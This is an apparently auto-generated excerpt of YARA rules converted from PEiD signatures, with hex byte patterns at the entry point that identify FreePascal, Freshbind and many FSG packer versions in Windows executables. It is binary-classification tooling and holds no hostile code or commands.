+rule PEiD_00757_FreePascal_2_0_0_Win32_____B_rczi_G_bor__Pierre_Muller___Peter_Vreman__
+{
+    meta:
+        description = "[FreePascal 2.0.0 Win32 -> (Berczi Gabor, Pierre Muller & Peter Vreman)]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 00 80 40 00 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00 00 E8 C5 01 00 00 89 D8 E8 3E 02 00 00 E8 B9 01 00 00 E8 54 02 00 00 8B 5D FC C9 C3 8D 76 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 E5 C6 05 10 80 40 00 00 E8 D1 03 00 00 6A 00 64 FF 35 00 00 00 00 89 E0 A3 ?? 70 40 00 55 31 ED 89 E0 A3 20 80 40 00 66 8C D5 89 2D 30 80 40 00 E8 B9 03 00 00 31 ED E8 72 FF FF FF 5D E8 BC 03 00 00 C9 C3 00 00 00 00 00 00 00 00 00 00 55 89 E5 83 EC 08 E8 15 04 00 00 A1 ?? 70 40 00 89 45 F8 B8 01 00 00 00 89 45 FC 3B 45 F8 7F 2A FF 4D FC 90 FF 45 FC 8B 45 FC 83 3C C5 ?? 70 40 00 00 74 09 8B 04 C5 ?? 70 40}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00758_FreePascal_2_0_0_Win32_
+{
+    meta:
+        description = "[FreePascal 2.0.0 Win32]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 00 80 40 00 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00759_FreePascal_2_0_0_Win32_
+{
+    meta:
+        description = "[FreePascal 2.0.0 Win32]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 ?? ?? ?? ?? 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00760_Freshbind_v2_0____gFresh_
+{
+    meta:
+        description = "[Freshbind v2.0 -> gFresh]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 89 E5 6A FF 68 1C A0 41 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00761_from_NORMAN_Anti_Virus_Utilites_
+{
+    meta:
+        description = "[from NORMAN Anti-Virus Utilites]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5B 52 45 2F 4E 44 44 53 5D 0D 0A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00762_Frusion____biff_
+{
+    meta:
+        description = "[Frusion -> biff]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 55 56 57 68 04 01 00 00 C7 44 24 14}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00763_FSG_1_00__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG 1.00 (Eng) -> dulek/xt]"
+        ep_only = "false"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38}
+    condition:
+        $a
+}
+rule PEiD_00764_FSG_1_10__Eng_____bart_xt_
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00765_FSG_1_10__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00766_FSG_1_10__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00767_FSG_1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "true"
+    strings:
+        $a = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00768_FSG_1_10__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00769_FSG_1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00770_FSG_1_20__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "false"
+    strings:
+        $a = {C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6}
+    condition:
+        $a
+}
+
+rule PEiD_00771_FSG_1_20__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "false"
+    strings:
+        $a = {0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB}
+    condition:
+        $a
+}
+
+rule PEiD_00772_FSG_1_20__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "false"
+    strings:
+        $a = {0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_00773_FSG_1_20__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "false"
+    strings:
+        $a = {33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE}
+    condition:
+        $a
+}
+
+rule PEiD_00774_FSG_1_20__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA}
+    condition:
+        $a
+}
+
+rule PEiD_00775_FSG_1_20__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "false"
+    strings:
+        $a = {C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3}
+    condition:
+        $a
+}
+
+rule PEiD_00776_FSG_1_31__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG 1.31 (Eng) -> dulek/xt]"
+        ep_only = "false"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00777_FSG_1_31____dulek_xt_
+{
+    meta:
+        description = "[FSG 1.31 -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? 00 BF ?? ?? ?? 00 BB ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00778_FSG_1_33__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG 1.33 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00779_FSG_1_3_
+{
+    meta:
+        description = "[FSG 1.3]"
+        ep_only = "false"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+    condition:
+        $a
+}
+
+rule PEiD_00780_FSG_v1_00__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.00 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 51 FF FF FF 5F BB 28 ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 1C ?? ?? 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00781_FSG_v1_0_
+{
+    meta:
+        description = "[FSG v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00782_FSG_v1_10__Eng_____bart_xt_____Watcom_C_C___EXE__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> bart/xt -> (Watcom C/C++ EXE)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 03 ?? 8D ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 02}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00783_FSG_v1_10__Eng_____bart_xt____WinRAR_SFX_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> bart/xt -> WinRAR-SFX]"
+        ep_only = "true"
+    strings:
+        $a = {80 E9 A1 C1 C1 13 68 E4 16 75 46 C1 C1 05 5E EB 01 9D 68 64 86 37 46 EB 02 8C E0 5F F7 D0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00784_FSG_v1_10__Eng_____bart_xt____WinRAR_SFX_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> bart/xt -> WinRAR-SFX]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 02 EB 02 CD 20 B8 80 ?? 42 00 EB 01 55 BE F4 00 00 00 13 DF 13 D8 0F B6 38 D1 F3 F7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00785_FSG_v1_10__Eng_____bart_xt_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB 27 ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 07 74 EF FE 07 75 06 47 FF 37 AF EB 09 FE 07 0F 84 1A ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 1B ?? ?? 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00786_FSG_v1_10__Eng_____dulek_xt_____Borland_C___1999__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++ 1999)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 2B C8 68 80 ?? ?? 00 EB 02 1E BB 5E EB 02 CD 20 68 B1 2B 6E 37 40 5B 0F B6 C9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00787_FSG_v1_10__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00788_FSG_v1_10__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA 33 0F B6 C9 0F BE 0E 88 16 EB 01 5F EB 01 6B 46 EB 01 6D 0F BE C0 4B EB 02 CD 20 0F BE C9 2B C9 3B D9 75 B0 EB 01 99 C1 C1 05 91 9D B2 E3 22 E2 A1 E2 F2 22 E2 A0 ?? ?? ?? E2 35 CA EC E2 E2 E2 E4 B4 57 E7 6C F8 28 F4 B4 A5 94 62 15 BD 86 95 E4 E1 F6 06 55 DA 15 AB E1 F6 06 55 FA 15 A2 E1 F6 06 55 03 95 E4 23 92 F2 E1 F6 06 F4 A2 55 DB 57 21 8C CD BE CA 25 E2 E2 E2 0D AD 57 F2 CA 1A E2 E2 E2 CD 0A 8E B3 CA 56 23 F5 AB CD FE 73 2A A3 C2 EA 8E CA 04 E2 E2 E2 1F E2 5F E2 E2 55 EC 62 DE E7 55 E8 65 DA 61 59 E4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00789_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00790_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80 EA 0F E8 01 00 00 00 64 59 02 D3 EB 02 D6 5C 88 16 EB 02 CD 20 46 E8 02 00 00 00 6B B5 59 4B 0F B7 C6 0B DB 75 B1 EB 02 50 AA 91 44 5C 90 D2 95 57 9B AE E1 A4 65 ?? ?? ?? B3 09 A1 C6 BF C2 C5 CA 9D 43 D6 5E ED 20 EF B2 A6 98 69 1F CA 96 A8 FA FA 12 25 77 FF 3D D6 0F 27 3A 8C 34 52 E2 24 3C 4F A1 52 E7 39 7B ED 50 42 5A 6D 5E 0F C5 4E CD 9A 08 4C 40 4F AD 6D 70 73 A1 44 F1 8F 6A BD 88 8B 8E 7C BC 43 6B 85 14 E4 B9 72 97 CB 43 FD 79 9B C6 6D AC E9 CA CD D0 10 D6 56 DC DF 55 EF 68 E7 F3 64 FA 7A F2 7C 77 05}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00791_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 2E EB 02 A5 55 BB 80 ?? ?? 00 87 FE 8D 05 AA CE E0 63 EB 01 75 BA 5E CE E0 63 EB 02}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00792_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C_____ASM__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++ / ASM)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 EB 02 CD 20 EB 02 CD 20 C1 E6 18 BB 80 ?? ?? 00 EB 02 82 B8 EB 01 10 8D 05 F4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00793_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "true"
+    strings:
+        $a = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13 D6 83 C7 32 F7 DA 03 FE EB 02 CD 20 87 FA 88 10 EB 02 CD 20 40 E8 02 00 00 00 F1 F8 5B 4E 2B D2 85 F6 75 AF EB 02 DE 09 EB 01 EF 34 4A 7C BC 7D 3D 7F 90 C1 82 41 ?? ?? ?? 87 DB 71 94 8B 8C 8D 90 61 05 96 1C A9 DA A7 68 5A 4A 19 CD 76 40 50 A0 9E B4 C5 15 9B D7 6E A5 BB CC 1C C2 DE 6C AC C2 D3 23 D2 65 B5 F5 65 C6 B6 CC DD CC 7B 2F B6 33 FE 6A AC 9E AB 07 C5 C6 C7 F3 94 3F DB B4 05 CE CF D0 BC FA 7F A5 BD 4A 18 EB A2 C5 F7 6D 25 9F BF E8 8D CA 05 E4 E5 E6 24 E8 66 EA EB 5F F7 6E EB F5 64 F8 76 EC 74 6D F9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00794_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 C8 10 EB 01 0F BF 03 74 66 77 C1 E9 1D 68 83 ?? ?? 77 EB 02 CD 20 5E EB 02 CD 20 2B F7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00795_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C___x_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)x]"
+        ep_only = "true"
+    strings:
+        $a = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00796_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi_2_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi 2.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 56 E8 02 00 00 00 B2 D9 59 68 80 ?? 41 00 E8 02 00 00 00 65 32 59 5E EB 02 CD 20 BB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00797_FSG_v1_10__Eng_____dulek_xt_____MASM32___TASM32___Microsoft_Visual_Basic__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32 / Microsoft Visual Basic)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D8 0F BE C2 BE 80 ?? ?? 00 0F BE C9 BF 08 3B 65 07 EB 02 D8 29 BB EC C5 9A F8 EB 01 94}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00798_FSG_v1_10__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00799_FSG_v1_10__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "true"
+    strings:
